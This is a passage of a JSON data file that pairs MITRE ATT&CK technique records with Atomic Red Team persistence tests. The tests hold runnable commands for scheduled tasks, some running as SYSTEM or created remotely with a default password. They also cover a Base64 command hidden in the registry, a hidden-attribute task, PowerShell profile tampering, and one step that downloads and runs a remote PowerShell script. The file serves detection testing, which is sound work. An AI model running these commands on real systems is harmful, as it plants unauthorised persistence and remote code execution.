- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1053.005"
- },
- "atomic_tests": [
- {
- "name": "Scheduled Task Startup Script",
- "auto_generated_guid": "fec27f65-db86-4c2d-b66c-61945aee87c2",
- "description": "Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view\nthe tasks, open the Task Scheduler and look in the Active Tasks pane.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "schtasks /create /tn \"T1053_005_OnLogon\" /sc onlogon /tr \"cmd.exe /c calc.exe\"\nschtasks /create /tn \"T1053_005_OnStartup\" /sc onstart /ru system /tr \"cmd.exe /c calc.exe\"\n",
- "cleanup_command": "schtasks /delete /tn \"T1053_005_OnLogon\" /f >nul 2>&1\nschtasks /delete /tn \"T1053_005_OnStartup\" /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Scheduled task Local",
- "auto_generated_guid": "42f53695-ad4a-4546-abb6-7d837f644a71",
- "description": "Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "task_command": {
- "description": "What you want to execute",
- "type": "string",
- "default": "C:\\windows\\system32\\cmd.exe"
- },
- "time": {
- "description": "What time 24 Hour",
- "type": "string",
- "default": "20:10"
- }
- },
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}\n",
- "cleanup_command": "SCHTASKS /Delete /TN spawn /F >nul 2>&1\n"
- }
- },
- {
- "name": "Scheduled task Remote",
- "auto_generated_guid": "2e5eac3e-327b-4a88-a0c0-c4057039a8dd",
- "description": "Create a task on a remote system.\nUpon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "task_command": {
- "description": "What you want to execute",
- "type": "string",
- "default": "C:\\windows\\system32\\cmd.exe"
- },
- "time": {
- "description": "What time 24 Hour",
- "type": "string",
- "default": "20:10"
- },
- "target": {
- "description": "Target",
- "type": "string",
- "default": "localhost"
- },
- "user_name": {
- "description": "Username to authenticate with, format: DOMAIN\\User",
- "type": "string",
- "default": "DOMAIN\\user"
- },
- "password": {
- "description": "Password to authenticate with",
- "type": "string",
- "default": "At0micStrong"
- }
- },
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN \"Atomic task\" /TR \"#{task_command}\" /SC daily /ST #{time}\n",
- "cleanup_command": "SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN \"Atomic task\" /F >nul 2>&1\n"
- }
- },
- {
- "name": "Powershell Cmdlet Scheduled Task",
- "auto_generated_guid": "af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd",
- "description": "Create an atomic scheduled task that leverages native powershell cmdlets.\n\nUpon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "$Action = New-ScheduledTaskAction -Execute \"calc.exe\"\n$Trigger = New-ScheduledTaskTrigger -AtLogon\n$User = New-ScheduledTaskPrincipal -GroupId \"BUILTIN\\Administrators\" -RunLevel Highest\n$Set = New-ScheduledTaskSettingsSet\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\nRegister-ScheduledTask AtomicTask -InputObject $object\n",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"AtomicTask\" -confirm:$false >$null 2>&1\n"
- }
- },
- {
- "name": "Task Scheduler via VBA",
- "auto_generated_guid": "ecd3fa21-7792-41a2-8726-2c5c673414d3",
- "description": "This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute \"notepad.exe\" within\n30 - 40 seconds after this module has run\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ms_product": {
- "description": "Maldoc application Word",
- "type": "string",
- "default": "Word"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft #{ms_product} must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053.005-macrocode.txt\" -officeProduct \"#{ms_product}\" -sub \"Scheduler\"\n",
- "name": "powershell",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"Run Notepad\" -Confirm:$false\n"
- }
- },
- {
- "name": "WMI Invoke-CimMethod Scheduled Task",
- "auto_generated_guid": "e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b",
- "description": "Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "xml_path": {
- "description": "path of vbs to use when creating masquerading files",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "File to copy must exist on disk at specified location (#{xml_path})\n",
- "prereq_command": "if (Test-Path #{xml_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{xml_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml\" -OutFile \"#{xml_path}\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "$xml = [System.IO.File]::ReadAllText(\"#{xml_path}\")\nInvoke-CimMethod -ClassName PS_ScheduledTask -NameSpace \"Root\\Microsoft\\Windows\\TaskScheduler\" -MethodName \"RegisterByXml\" -Arguments @{ Force = $true; Xml =$xml; }\n",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"T1053_005_WMI\" -confirm:$false >$null 2>&1\n"
- }
- },
- {
- "name": "Scheduled Task Executing Base64 Encoded Commands From Registry",
- "auto_generated_guid": "e895677d-4f06-49ab-91b6-ae3742d0a2ba",
- "description": "A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.\nThe scheduled task will launch powershell to decode and run the command in the registry daily.\nThis is a persistence mechanism recently seen in use by Qakbot. \n\n[Additiona Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "time": {
- "description": "Daily scheduled task execution time",
- "type": "string",
- "default": "07:45"
- }
- },
- "executor": {
- "command": "reg add HKCU\\SOFTWARE\\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f\nschtasks.exe /Create /F /TN \"ATOMIC-T1053.005\" /TR \"cmd /c start /min \\\"\\\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\\\SOFTWARE\\\\ATOMIC-T1053.005).test)))\" /sc daily /st #{time}\n",
- "cleanup_command": "schtasks /delete /tn \"ATOMIC-T1053.005\" /F >nul 2>&1\nreg delete HKCU\\SOFTWARE\\ATOMIC-T1053.005 /F >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Import XML Schedule Task with Hidden Attribute",
- "auto_generated_guid": "cd925593-fbb4-486d-8def-16cbdf944bf4",
- "description": "Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. \nThis technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "xml_path": {
- "description": "path of vbs to use when creating masquerading files",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "File to copy must exist on disk at specified location (#{xml_path})\n",
- "prereq_command": "if (Test-Path #{xml_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{xml_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml\" -OutFile \"#{xml_path}\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "$xml = [System.IO.File]::ReadAllText(\"#{xml_path}\")\nInvoke-CimMethod -ClassName PS_ScheduledTask -NameSpace \"Root\\Microsoft\\Windows\\TaskScheduler\" -MethodName \"RegisterByXml\" -Arguments @{ Force = $true; Xml =$xml; }\n",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"atomic red team\" -confirm:$false >$null 2>&1\n"
- }
- },
- {
- "name": "PowerShell Modify A Scheduled Task",
- "auto_generated_guid": "dda6fc7b-c9a6-4c18-b98d-95ec6542af6d",
- "description": "Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. \nIt will first be created to spawn cmd.exe, but modified to run notepad.exe.\n\nUpon successful execution, powershell.exe will create a scheduled task and modify the action. \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "$Action = New-ScheduledTaskAction -Execute \"cmd.exe\"\n$Trigger = New-ScheduledTaskTrigger -AtLogon\n$User = New-ScheduledTaskPrincipal -GroupId \"BUILTIN\\Administrators\" -RunLevel Highest\n$Set = New-ScheduledTaskSettingsSet\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\nRegister-ScheduledTask AtomicTaskModifed -InputObject $object\n$NewAction = New-ScheduledTaskAction -Execute \"Notepad.exe\"\nSet-ScheduledTask \"AtomicTaskModifed\" -Action $NewAction\n",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"AtomicTaskModifed\" -confirm:$false >$null 2>&1\n"
- }
- }
- ]
- },
- "T1037": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:38.910Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1037",
- "url": "https://attack.mitre.org/techniques/T1037"
- },
- {
- "external_id": "CAPEC-564",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/564.html"
- }
- ],
- "modified": "2022-04-01T19:04:02.610Z",
- "name": "Boot or Logon Initialization Scripts",
- "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Creation",
- "Process: Process Creation",
- "Active Directory: Active Directory Object Modification",
- "File: File Modification",
- "Command: Command Execution",
- "File: File Creation"
- ]
- },
- "atomic_tests": []
- },
- "T1150": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f",
- "created": "2017-12-14T16:46:06.044Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1150",
- "url": "https://attack.mitre.org/techniques/T1150"
- },
- {
- "source_name": "Sofacy Komplex Trojan",
- "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": true,
- "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences
(which execute with elevated privileges) and ~/Library/Preferences
(which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)",
- "modified": "2022-04-22T18:49:20.520Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Plist Modification",
- "x_mitre_detection": "File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Process whitelisting",
- "Whitelisting by file name or path"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1574.007": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32",
- "created": "2020-03-13T14:10:43.424Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.007",
- "url": "https://attack.mitre.org/techniques/T1574/007"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/13.html",
- "source_name": "capec",
- "external_id": "CAPEC-13"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/38.html",
- "source_name": "capec",
- "external_id": "CAPEC-38"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32
(e.g., C:\\Windows\\system32
), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path
precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path
will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.",
- "modified": "2022-05-05T04:08:56.402Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Path Interception by PATH Environment Variable",
- "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1044": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:43.063Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1044",
- "url": "https://attack.mitre.org/techniques/T1044"
- },
- {
- "external_id": "CAPEC-17",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/17.html"
- },
- {
- "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/",
- "description": "Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
- "source_name": "Mozilla Firefox Installer DLL Hijack"
- },
- {
- "url": "http://seclists.org/fulldisclosure/2015/Dec/34",
- "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.",
- "source_name": "Seclists Kanthak 7zip Installer"
- }
- ],
- "modified": "2020-03-19T15:11:39.627Z",
- "name": "File System Permissions Weakness",
- "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP%
directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM",
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1546.013": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Green",
- "Allen DeRyke, ICE"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
- "type": "attack-pattern",
- "created": "2020-01-24T15:11:02.758Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.013",
- "url": "https://attack.mitre.org/techniques/T1546/013"
- },
- {
- "source_name": "Microsoft About Profiles",
- "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6",
- "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019."
- },
- {
- "source_name": "ESET Turla PowerShell May 2019",
- "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
- "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."
- },
- {
- "source_name": "Wits End and Shady PowerShell Profiles",
- "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html",
- "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019."
- },
- {
- "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
- "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
- "source_name": "Malware Archaeology PowerShell Cheat Sheet"
- },
- {
- "source_name": "Microsoft Profiles",
- "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles",
- "description": "Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022."
- }
- ],
- "modified": "2022-02-08T16:39:08.851Z",
- "name": "Event Triggered Execution: PowerShell Profile",
- "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1
) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile
flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Locations where profile.ps1
can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\n\n* $PsHome\\Profile.ps1
\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1
\n* $Home\\\\\\[My ]Documents\\PowerShell\\Profile.ps1
\n* $Home\\\\\\[My ]Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1
\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "Process: Process Creation",
- "File: File Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1546.013"
- },
- "atomic_tests": [
- {
- "name": "Append malicious start-process cmdlet",
- "auto_generated_guid": "090e5aa5-32b6-473b-a49b-21e843a56896",
- "description": "Appends a start process cmdlet to the current user's powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "exe_path": {
- "description": "Path the malicious executable",
- "type": "path",
- "default": "calc.exe"
- },
- "ps_profile": {
- "description": "Powershell profile to use",
- "type": "string",
- "default": "$profile"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Ensure a powershell profile exists for the current user\n",
- "prereq_command": "if (Test-Path #{ps_profile}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Path #{ps_profile} -Type File -Force\n"
- }
- ],
- "executor": {
- "command": "Add-Content #{ps_profile} -Value \"\"\nAdd-Content #{ps_profile} -Value \"Start-Process #{exe_path}\"\npowershell -Command exit\n",
- "cleanup_command": "$oldprofile = cat $profile | Select-Object -skiplast 1\nSet-Content $profile -Value $oldprofile\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1514": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Erika Noerenberg, @gutterchurl, Carbon Black",
- "Jimmy Astle, @AstleJimmy, Carbon Black"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--101c3a64-9ba5-46c9-b573-5c501053cbca",
- "type": "attack-pattern",
- "created": "2019-08-08T14:29:37.108Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1514",
- "url": "https://attack.mitre.org/techniques/T1514"
- },
- {
- "source_name": "AppleDocs AuthorizationExecuteWithPrivileges",
- "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg",
- "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019."
- },
- {
- "source_name": "Death by 1000 installers; it's all broken!",
- "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8",
- "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019."
- },
- {
- "source_name": "Carbon Black Shlayer Feb 2019",
- "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/",
- "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."
- },
- {
- "source_name": "OSX Coldroot RAT",
- "url": "https://objective-see.com/blog/blog_0x2A.html",
- "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019."
- }
- ],
- "modified": "2020-02-05T20:13:51.857Z",
- "name": "Elevated Execution with Prompt",
